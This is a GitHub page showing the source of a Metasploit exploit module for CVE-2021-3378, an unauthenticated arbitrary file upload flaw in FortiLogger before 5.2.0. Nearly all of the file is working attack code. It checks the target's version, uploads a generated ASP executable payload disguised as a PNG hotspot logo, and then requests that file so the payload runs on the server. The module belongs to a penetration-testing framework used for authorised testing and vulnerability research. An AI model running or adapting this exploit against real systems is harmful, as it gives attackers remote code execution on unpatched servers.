-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
fortilogger_arbitrary_fileupload.rb
154 lines (133 loc) · 4.34 KB
/
fortilogger_arbitrary_fileupload.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FortiLogger Arbitrary File Upload Exploit',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload
via insecure POST request. It has been tested on versions < 5.2.0 in
Windows 10 Enterprise.
},
'License' => MSF_LICENSE,
'Author' => [
'Berkan Er <b3rsec@protonmail.com>' # Vulnerability discovery, PoC and Metasploit module
],
'References' => [
['CVE', '2021-3378'],
['URL', 'https://erberkan.github.io/2021/cve-2021-3378/']
],
'Platform' => ['win'],
'Privileged' => false,
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'FortiLogger < 5.2.0',
{
'Platform' => 'win'
}
],
],
'DisclosureDate' => '2021-02-26',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ UNRELIABLE_SESSION ]
}
)
)
register_options(
[
Opt::RPORT(5000),
OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/'])
]
)
end
def check_product_info
send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
'method' => 'POST',
'data' => '',
'headers' => {
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest'
}
)
end
def check
res = check_product_info
unless res
return CheckCode::Unknown('Target is unreachable.')
end
unless res.code == 200
return CheckCode::Unknown("Unexpected server response: #{res.code}")
end
version = Rex::Version.new(JSON.parse(res.body)['Version'])
if version <= Rex::Version.new('4.4.2.2')
CheckCode::Vulnerable("FortiLogger version #{version}")
else
CheckCode::Safe("FortiLogger version #{version}")
end
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'The target may have been updated')
end
def create_payload
Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
end
def exploit
print_good('Generate Payload')
data = create_payload
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"
post_data << "Content-Type: image/png\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' => {
'Accept' => 'application/json',
'Accept-Language' => 'en-US,en;q=0.5',
'X-Requested-With' => 'XMLHttpRequest'
}
)
unless res
fail_with(Failure::Unknown, 'No response from server')
end
unless res.code == 200
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
end
json_res = begin
JSON.parse(res.body)
rescue JSON::ParserError
nil
end
if json_res.nil? || json_res['Message'] == 'Error in saving file'
fail_with(Failure::UnexpectedReply, 'Error uploading payload')
end
print_good('Payload has been uploaded')
handler
print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
'method' => 'GET'
}, 5)
rescue StandardError => e
fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}")
end
end